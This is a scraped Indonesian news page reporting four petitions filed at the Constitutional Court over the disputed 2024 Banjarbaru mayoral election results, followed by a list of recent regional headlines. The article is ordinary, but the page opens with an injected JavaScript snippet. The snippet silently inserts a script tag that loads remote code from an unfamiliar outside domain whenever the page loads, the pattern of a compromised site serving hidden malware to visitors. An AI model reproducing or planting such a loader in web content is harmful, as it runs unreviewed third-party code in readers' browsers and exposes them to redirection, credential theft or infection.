(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sengketa Hasil Pilwali Banjarbaru di MK, Empat Pemohon Ajukan Gugatan


KANALKALIMANTAN.COM, BANJARBARU – Empat buah pengajuan permohonan telah dilayangkan ke Mahkamah Konstitusi (MK), pasca penetapan hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024.

Berdasarkan penelusuran di laman MK pada Kamis (5/12/2024) siang, empat pengajuan permohonan yang dilayangkan itu tercatat adalah tentang perselisihan hasil Pilwali Banjarbaru yang ditetapkan melalui Keputusan KPU Banjarbaru Nomor 191 Tahun 2024 .

Empat pengajuan permohonan itu tak lama lagi akan bergulir di MK dengan permohonan pertama yang tercatat dilayangkan oleh Muhammad Arifin, pada Rabu (4/12/2024) pukul 16.28 WIB bernomor 5/PAN.MK/e-AP3/12/2024.

Baca juga: Gugatan Pilwali Banjarbaru ke MK, Tim Haram Manyarah Perjuangkan Pemilihan Ulang

Permohonan kedua dari Udiansyah dan Abd Karim di tanggal dan waktu yang sama. Dengan nomor pengajuan permohonan bernomor 6/PAN.MK/e-AP3/12/2024.

Kemudian ada permohonan ketiga terkait perselisihan hasil Pilwali Banjarbaru turut dilayangkan oleh HE Benyamine dan kawan-kawan, pada Rabu (4/12/2024) pukul 16.36 WIB. Nomor permohonan yang tercatat yakni nomor 7/PAN.MK/e-AP3/12/2024.

Terakhir, permohonan disampaikan oleh Said Abdullah yang tak lain merupakan mantan calon Wakil Wali Kota Banjarbaru. Dengan nomor permohonan yakni nomor 9/PAN.MK/e-AP3/12/2024.

Baca juga: Wisuda 20 Murid Sekolah Lansia BKL Kasturi

Diketahui sebelumnya, Ketua KPU Provinsi Kalimantan Selatan (Kalsel), Andi Tenri Sompa mempersilahkan jika ada pihak-pihak yang ingin menggugat hasil penetapan Pilwali Banjarbaru.

Apalagi katanya, Undang-Undang memperbolehkan adanya pihak yang mengajukan sengketa hasil Pilkada.

“Dan terkait dengan polemik yang terjadi karena sudah ditetapkan tentunya kemudian pihak-pihak yang ditentukan dengan Undang-Undang boleh melakukan gugatan,” kata Tenri usai rapat pleno terbuka rekapitulasi dan penetapan hasil Pilwali Banjarbaru, Senin (2/12/2024).

Baca juga: KMBPD Batalkan Aksi Unjuk Rasa ke KPU Banjarbaru

Gugatan itu, katanya, dapat dilakukan terbuka dalam waktu tiga hari ke Mahkamah Konstitusi mengacu pada Peraturan MK Nomor 4 Tahun 2024. Kemudian menurut Pasal 70 PKPU Nomor 18 Tahun 2024 juga diatur terkait prosedur penyelesaian perselisihan hasil Pilkada 2024.

“Itu terbuka dalam waktu tiga hari diberi ruang jika ada sengketa hasil,” tandasnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

7 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

9 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

9 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

10 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

10 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

11 jam ago